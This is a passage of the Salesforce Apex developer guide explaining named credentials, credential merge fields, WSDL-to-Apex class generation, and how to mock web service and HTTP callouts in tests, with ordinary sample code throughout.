457
Invoking Callouts Using ApexIntegration and Apex Utilities
If you have multiple orgs, you can create a named credential with the same name but with a different endpoint URL in each org. You
can then package and deploy—on all the orgs—one callout definition that references the shared name of those named credentials.
For example, the named credential in each org can have a different endpoint URL to accommodate differences in development and
production environments. If an Apex callout specifies the shared name of those named credentials, the Apex class that defines the callout
can be packaged and deployed on all those orgs without programmatically checking the environment.
To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme
callout:, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
You can append a query string to a named credential URL. Use a question mark (?) as the separator between the named credential URL
and the query string. For example: callout:My_Named_Credential/some_path?format=json.
Example: In the following Apex code, a named credential and an appended path specify the callout’s endpoint.
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
The referenced named credential specifies the endpoint URL and the authentication settings.
If you use OAuth instead of password authentication, the Apex code remains the same. The authentication settings differ in the
named credential, which references an authentication provider that’s defined in the org.
458
Named Credentials as Callout EndpointsIntegration and Apex Utilities
In contrast, let’s see what the Apex code looks like without a named credential. Notice that the code becomes more complex to
handle authentication, even if we stick with basic password authentication. Coding OAuth is even more complex and is an ideal
use case for named credentials.
HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
req.setMethod('GET');
// Because we didn't set the endpoint as a named credential,
// our code has to specify:
// - The required username and password to access the endpoint
// - The header and header information
String username = 'myname';
String password = 'mypwd';
Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);
// Create a new http object to send the request object
// A response object is generated as a result of the request
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
SEE ALSO:
Invoking Callouts Using Apex
Salesforce Help: Define a Named Credential
Salesforce Help: External Authentication Providers
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this
option. Your Apex code can also use merge fields to construct each callout’s HTTP header and body.
This flexibility enables you to use named credentials in special situations. For example, some remote endpoints require security tokens
or encrypted credentials in request headers. Some remote endpoints expect usernames and passwords in XML or JSON message bodies.
Customize the callout headers and bodies as needed.
The Salesforce admin must set up the named credential to allow Apex code to construct headers or use merge fields in HTTP headers
or bodies. The following table describes these callout options for the named credential.
DescriptionField
By default, Salesforce generates an authorization header and applies it to
each callout that references the named credential.
Deselect this option only if one of the following statements applies.
Generate Authorization Header
•The remote endpoint doesn’t support authorization headers.
459
Named Credentials as Callout EndpointsIntegration and Apex Utilities
DescriptionField
•The authorization headers are provided by other means. For example, in
Apex callouts, the developer can have the code construct a custom
authorization header for each callout.
This option is required if you reference the named credential from an external
data source.
In each Apex callout, the code specifies how the HTTP header and request
body are constructed. For example, the Apex code can set the value of a
cookie in an authorization header.
These options enable the Apex code to use merge fields to populate the
HTTP header and request body with org data when the callout is made.
Allow Merge Fields in HTTP Header
Allow Merge Fields in HTTP Body
These options aren’t available if you reference the named credential from an
external data source.
SEE ALSO:
Merge Fields for Apex Callouts That Use Named Credentials
Salesforce Help: Define a Named Credential
Merge Fields for Apex Callouts That Use Named Credentials
To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge
fields in your Apex code.
DescriptionMerge Field
Username and password of the running user. Available only if the named
credential uses password authentication.
// non-standard authentication
req.setHeader('X-Username',
{!$Credential.Username}
{!$Credential.Password}
'{!$Credential.UserName}');
req.setHeader('X-Password',
'{!$Credential.Password}');
OAuth token of the running user. Available only if the named credential uses
OAuth authentication.
// The external system expects “OAuth” as
// the prefix for the access token.
{!$Credential.OAuthToken}
req.setHeader('Authorization','OAuth
{!$Credential.OAuthToken}');
Valid values depend on the authentication protocol of the named credential.{!$Credential.AuthorizationMethod}
•Basic—password authentication
•Bearer—OAuth 2.0
460
Named Credentials as Callout EndpointsIntegration and Apex Utilities
DescriptionMerge Field
•null—no authentication
Valid values depend on the authentication protocol of the named credential.{!$Credential.AuthorizationHeaderValue}
•Base-64 encoded username and password—password
authentication
•OAuth token—OAuth 2.0
•null—no authentication
Consumer key. Available only if the named credential uses OAuth
authentication.
{!$Credential.OAuthConsumerKey}
When you use these merge fields in HTTP request bodies of callouts, you can apply the HTMLENCODE formula function to escape
special characters. Other formula functions aren't supported, and HTMLENCODE can’t be used on merge fields in HTTP headers. The
following example escapes special characters that are in the credentials.
req.setBody('UserName:{!HTMLENCODE($Credential.Username)}')
req.setBody('Password:{!HTMLENCODE($Credential.Password)}')
SEE ALSO:
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Named Credentials as Callout Endpoints
SOAP Services: Defining a Class from a WSDL Document
Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by
consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only
when necessary.
To generate an Apex class from a WSDL:
1. In the application, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is
the basis for the Apex class you are creating.
Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
•80: This port only accepts HTTP connections.
•443: This port only accepts HTTPS connections.
•1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in
the WSDL document and reports any errors. Parsing fails if the WSDL contains schema types or constructs that aren’t supported by
461
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
Apex classes, or if the resulting classes exceed the 1 million character limit on Apex classes. For example, the Salesforce SOAP API
WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class
name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from
other classes. The page also provides a link to view successfully generated code.
The successfully generated Apex classes include stub and type classes for calling the third-party Web service represented by the WSDL
document. These classes allow you to call the external Web service from Apex. For each generated class, a second class is created with
the same name and with a prefix of Async. The first class is for synchronous callouts. The second class is for asynchronous callouts. For
more information about asynchronous callouts, see Make Long-Running Callouts from a Visualforce Page.
Note the following about the generated Apex:
•If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example,
limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords. For details on handling
characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs.
•If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an
inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.
•Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by
underscores (_) in the generated Apex code.
After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Generated
WSDL2Apex Code and add it to your organization.
Invoking an External Service
To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex code
and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write code similar to
the following:
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();
// Set up the license header
dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';
// Make the Web service call
strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');
HTTP Header Support
You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization
header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub.
Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type
header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.
462
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
The following samples work with the sample WSDL file in Generated WSDL2Apex Code on page 466:
Sending HTTP Headers on a Web Service Callout
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String,String>();
//Setting a basic authentication header
stub.inputHttpHeaders_x.put('Authorization','Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==');
//Setting a cookie header
stub.inputHttpHeaders_x.put('Cookie','name=value');
//Setting a custom HTTP header
stub.inputHttpHeaders_x.put('myHeader','myValue');
String input = 'This is the input string';
String output = stub.EchoString(input);
If a value for inputHttpHeaders_x is specified, it overrides the standard headers set.
Accessing HTTP Response Headers from a Web Service Callout Response
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.outputHttpHeaders_x = new Map<String,String>();
String input = 'This is the input string';
String output = stub.EchoString(input);
//Getting cookie header
String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');
//Getting custom header
String myHeader = stub.outputHttpHeaders_x.get('My-Header');
The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the
content of headers in the response.
Supported WSDL Features
Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:
Apex TypeSchema Type
Stringxsd:anyURI
Booleanxsd:boolean
Datexsd:date
Datetimexsd:dateTime
Doublexsd:double
463
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
Apex TypeSchema Type
Doublexsd:float
Integerxsd:int
Integerxsd:integer
Stringxsd:language
Longxsd:long
Stringxsd:Name
Stringxsd:NCName
Integerxsd:nonNegativeInteger
Stringxsd:NMTOKEN
Stringxsd:NMTOKENS
Stringxsd:normalizedString
Stringxsd:NOTATION
Integerxsd:positiveInteger
Stringxsd:QName
Integerxsd:short
Stringxsd:string
Datetimexsd:time
Stringxsd:token
Integerxsd:unsignedInt
Longxsd:unsignedLong
Integerxsd:unsignedShort
Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using API version
15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.
Apex also supports the following schema constructs:
•xsd:all, in Apex code saved using API version 15.0 and later
•xsd:annotation, in Apex code saved using API version 15.0 and later
•xsd:attribute, in Apex code saved using API version 15.0 and later
•xsd:choice, in Apex code saved using API version 15.0 and later
•xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following
restrictions:
–You cannot call a ref in a different namespace.
464
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
–A global element cannot use ref.
–If an element contains ref, it cannot also contain name or type.
•xsd:sequence
The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service
method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service.
•blob
•decimal
•enum
Apex does not support any other WSDL constructs, types, or services, including:
•RPC/encoded services
•WSDL files with mulitple portTypes, multiple services, or multiple bindings
•WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not
supported:
<wsdl:types>
<xsd:schema
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:include schemaLocation="AmazonS3.xsd"/>
</xsd:schema>
</wsdl:types>
However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL
you are converting:
<wsdl:types>
<xsd:schema
xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:element name="CreateBucket">
<xsd:complexType>
<xsd:sequence>
[...]
</xsd:schema>
</wsdl:types>
•Any schema types not documented in the previous table
•WSDLs that exceed the size limit, including the Salesforce WSDLs
•WSDLs that don’t use the document literal wrapped style. The following WSDL snippet doesn’t use document literal wrapped style
and results in an “Unable to find complexType” error when imported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse"/>
<xsd:simpleType name="SFDCPollResponse">
<xsd:restriction base="xsd:string" />
465
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
</xsd:simpleType>
</xsd:schema>
</wsdl:types>
This modified version wraps the simpleType element as a complexType that contains a sequence of elements. This follows
the document literal style and is supported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse" />
<xsd:complexType name="SFDCPollResponse">
<xsd:sequence>
<xsd:element name="SFDCOutput" type="xsd:string" />
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
</wsdl:types>
IN THIS SECTION:
1. Generated WSDL2Apex Code
You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and part
of the Force.com IDE plug-in for Eclipse.
2. Test Web Service Callouts
Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package
this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated
class. By default, test methods don’t support web service callouts, and tests that perform web service callouts fail. To prevent tests
from failing and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock
method. Use WebServiceMock and Test.setMock to receive fake responses in a test method.
3. Performing DML Operations and Mock Callouts
4. Considerations Using WSDLs
Generated WSDL2Apex Code
You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and part of the
Force.com IDE plug-in for Eclipse.
You can find and contribute to the WSDL2Apex source code in the WSDL2Apex repository on GitHub.
The following example shows how an Apex class is created from a WSDL document. The Apex class is auto-generated for you when you
import the WSDL.
The following code shows a sample WSDL document.
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://doc.sample.com/docSample"
targetNamespace="http://doc.sample.com/docSample"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
466
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
<!-- Above, the schema targetNamespace maps to the Apex class name. -->
<!-- Below, the type definitions for the parameters are listed.
Each complexType and simpleType parameteris mapped to an Apex class inside the parent
class for the WSDL. Then, each element in the complexType is mapped to a public field
inside the class. -->
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
<!--The stub below defines operations. -->
<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>
<!--The code below defines how the types map to SOAP. -->
<wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType">
<wsdl:operation name="EchoString">
<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString"
style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
467
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class
-->
<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify when
importing the WSDL.
//Generated by wsdl2apex
public class docSample {
public class EchoStringResponse_element {
public String EchoStringResult;
private String[] EchoStringResult_type_info = new String[]{
'EchoStringResult',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{
'EchoStringResult'};
}
public class EchoString_element {
public String input;
private String[] input_type_info = new String[]{
'input',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{'input'};
}
public class DocSamplePort {
public String endpoint_x = 'http://YourServer/YourService';
public Map<String,String> inputHttpHeaders_x;
public Map<String,String> outputHttpHeaders_x;
public String clientCertName_x;
public String clientCert_x;
public String clientCertPasswd_x;
public Integer timeout_x;
private String[] ns_map_type_info = new String[]{
468
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
'http://doc.sample.com/docSample','docSample'};
public String EchoString(String input) {
docSample.EchoString_element request_x = new
docSample.EchoString_element();
request_x.input = input;
docSample.EchoStringResponse_element response_x;
Map<String, docSample.EchoStringResponse_element> response_map_x =
new Map<String, docSample.EchoStringResponse_element>();
response_map_x.put('response_x', response_x);
WebServiceCallout.invoke(
this,
request_x,
response_map_x,
new String[]{endpoint_x,
'urn:dotnet.callouttest.soap.sforce.com/EchoString',
'http://doc.sample.com/docSample',
'EchoString',
'http://doc.sample.com/docSample',
'EchoStringResponse',
'docSample.EchoStringResponse_element'}
);
response_x = response_map_x.get('response_x');
return response_x.EchoStringResult;
}
}
}
Note the following mappings from the original WSDL document:
•The WSDL target namespace maps to the Apex class name.
•Each complex type becomes a class. Each element in the type is a public field in the class.
•The WSDL port name maps to the stub class.
•Each operation in the WSDL maps to a public method.
You can use the auto-generated docSample class to invoke external Web services. The following code calls the echoString
method on the external server.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
String input = 'This is the input string';
String output = stub.EchoString(input);
Test Web Service Callouts
Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package this
Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By
default, test methods don’t support web service callouts, and tests that perform web service callouts fail. To prevent tests from failing
and to increase code coverage, Apex provides the built-in WebServiceMock interface and the Test.setMock method. Use
WebServiceMock and Test.setMock to receive fake responses in a test method.
Specify a Mock Response for Testing Web Service Callouts
When you create an Apex class from a WSDL, the methods in the auto-generated class call WebServiceCallout.invoke, which
performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate a fake response
469
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
whenever WebServiceCallout.invoke is called. To do so, implement the WebServiceMock interface and specify a fake
response for the Apex runtime to send. Here are the steps in more detail.
First, implement the WebServiceMock interface and specify the fake response in the doInvoke method.
global class YourWebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// Create response element from the autogenerated class.
// Populate response element.
// Add response element to the response parameter, as follows:
response.put('response_x', responseElement);
}
}
Note:
•The class implementing the WebServiceMock interface can be either global or public.
•You can annotate this class with @isTest because it is used only in a test context. In this way, you can exclude it from your
org’s code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument,
pass a new instance of your interface implementation of WebServiceMock, as follows:
Test.setMock(WebServiceMock.class,new YourWebServiceMockImpl());
After this point, if a web service callout is invoked in test context, the callout is not made. You receive the mock response specified in
your doInvoke method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This example shows how to test a web service callout. The implementation of the WebServiceMock interface is listed first. This
example implements the doInvoke method, which returns the response you specify. In this case, the response element of the
auto-generated class is created and assigned a value. Next, the response Map parameter is populated with this fake response. This
example is based on the WSDL listed in Generated WSDL2Apex Code. Import this WSDL and generate a class called docSample
before you save this class.
@isTest
global class WebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String,Object> response,
String endpoint,
String soapAction,
470
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
String requestName,
String responseNS,
String responseName,
String responseType) {
docSample.EchoStringResponse_element respElement =
new docSample.EchoStringResponse_element();
respElement.EchoStringResult = 'Mock response';
response.put('response_x', respElement);
}
}
This method makes a web service callout.
public class WebSvcCallout {
public static String callEchoString(String input) {
docSample.DocSamplePort sample = new docSample.DocSamplePort();
sample.endpoint_x = 'http://api.salesforce.com/foo/bar';
// This invokes the EchoString method in the generated class
String echo = sample.EchoString(input);
return echo;
}
}
This test class contains the test method that sets the mock callout mode. It calls the callEchoString method in the previous class
and verifies that a mock response is received.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// This causes a fake response to be generated
Test.setMock(WebServiceMock.class,new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
}
}
SEE ALSO:
WebServiceMock Interface
Performing DML Operations and Mock Callouts
By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted
work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making
a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest
statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations
must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.
471
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
Performing DML Before Mock Callouts
This example is based on the previous example. The example shows how to use Test.startTest and Test.stopTest
statements to allow DML operations to be performed in a test method before mock callouts. The test method (testEchoString)
first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a method that performs
the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
// Call the method that invokes a callout
String output = WebSvcCallout.callEchoString('Hello World!');
// Verify that a fake result is returned
System.assertEquals('Mock response', output);
Test.stopTest();
}
}
Asynchronous Apex and Mock Callouts
Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later
in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These
asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that
they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are
necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get
an exception because of uncommitted work pending. To prevent this exception, do either of the following:
•Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
472
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
•Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Test Class
Considerations Using WSDLs
Be aware of the following when generating Apex classes from a WSDL.
Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit
and .NET works.
Understanding Runtime Events
The following checks are performed when Apex code is making a callout to an external service.
•For information on the timeout limits when making an HTTP request or a Web services call, see Callout Limits and Limitations on
page 484.
•Circular references in Apex classes are not allowed.
•More than one loopback connection to Salesforce domains is not allowed.
•To allow an endpoint to be accessed, register it from Setup by entering Remote Site Settings in the Quick Find box,
then selecting Remote Site Settings.
•To prevent database connections from being held up, no transactions can be open.
Understanding Unsupported Characters in Variable Names
A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating
Apex variable names from a WSDL file:
•If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable name.
•If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated Apex
variable name.
•If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore
(_) character.
473
SOAP Services: Defining a Class from a WSDL DocumentIntegration and Apex Utilities
•If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced
with an underscore (_) character and the second one is replaced with an x character. This avoids generating a variable name with
two successive underscores, which is not allowed in Apex.
•Suppose you have an operation that takes two parameters, a_ and a_x. The generated Apex has two variables, both named a_x.
The class will not compile. You must manually edit the Apex and change one of the variable names.
Debugging Classes Generated from WSDL Files
Salesforce tests code with SOAP API, .NET, and Axis. If you use other tools, you might encounter issues.
You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more
information, see SOAP API and SOAP Headers for Apex on page 2743.
Invoking HTTP Callouts
Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and DELETE.
You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web services as an
alternate option to generating Apex code from a WSDL. By using the HTTP classes, instead of starting with a WSDL, you take on more
responsibility for handling the construction of the SOAP message for the request and response.
The Force.com Toolkit for Google Data APIs makes extensive use of HTTP callouts.
IN THIS SECTION:
1. HTTP Classes
2. Testing HTTP Callouts
To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts, so
tests that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using
Test.setMock.
HTTP Classes
These classes expose the general HTTP request/response functionality:
•Http Class. Use this class to initiate an HTTP request and response.
•HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
•HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.
The HttpRequest and HttpResponse classes support the following elements.
•HttpRequest
–HTTP request types, such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS
–Request headers if needed
–Read and connection timeouts
–Redirects if needed
–Content of the message body
•HttpResponse
–The HTTP status code
474
Invoking HTTP CalloutsIntegration and Apex Utilities
–Response headers if needed
–Content of the response body
The following example shows an HTTP GET request made to the external server specified by the value of url that gets passed into the
getContent method. This example also shows accessing the body of the returned response.
public class HttpCalloutSample {
// Pass in the endpoint to be used using the string url
public String getCalloutResponseContents(String url) {
// Instantiate a new http object
Http h = new Http();
// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
HttpRequest req = new HttpRequest();
req.setEndpoint(url);
req.setMethod('GET');
// Send the request, and return a response
HttpResponse res = h.send(req);
return res.getBody();
}
}
The previous example runs synchronously, meaning no further processing happens until the external web service returns a response.
Alternatively, you can use the @future annotation to make the callout run asynchronously.
Before you can access external servers from an endpoint or redirect endpoint using Apex or another feature, add the remote site to a
list of authorized remote sites in the Salesforce user interface. To do this, log in to Salesforce and from Setup, enter Remote Site
Settings in the Quick Find box, then select Remote Site Settings.
Note:
•The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information
about the AJAX proxy, see AJAX Toolkit documentation.
•You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name
of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A
named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t
have to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined
in the named credential. See Named Credentials as Callout Endpoints on page 457.
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest, or a response
accessed by HttpResponse.
Testing HTTP Callouts
To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don’t support HTTP callouts, so tests
that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using Test.setMock.
Specify the mock response in one of the following ways.
•By implementing the HttpCalloutMock interface
•By using Static Resources with StaticResourceCalloutMock or MultiStaticResourceCalloutMock
475
Invoking HTTP CalloutsIntegration and Apex Utilities
To enable running DML operations before mock callouts in your test methods, see Performing DML Operations and Mock Callouts.
IN THIS SECTION:
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Testing HTTP Callouts Using Static Resources
Performing DML Operations and Mock Callouts
Testing HTTP Callouts by Implementing the HttpCalloutMock Interface
Provide an implementation for the HttpCalloutMock interface to specify the response sent in the respond method, which the
Apex runtime calls to send a response for a callout.
global class YourHttpCalloutMockImpl implements HttpCalloutMock {
global HTTPResponse respond(HTTPRequest req) {
// Create a fake response.
// Set response values, and
// return response.
}
}
Note:
•The class that implements the HttpCalloutMock interface can be either global or public.
•You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your
organization’s code size limit of 3 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument,
pass a new instance of your interface implementation of HttpCalloutMock, as follows:
Test.setMock(HttpCalloutMock.class,new YourHttpCalloutMockImpl());
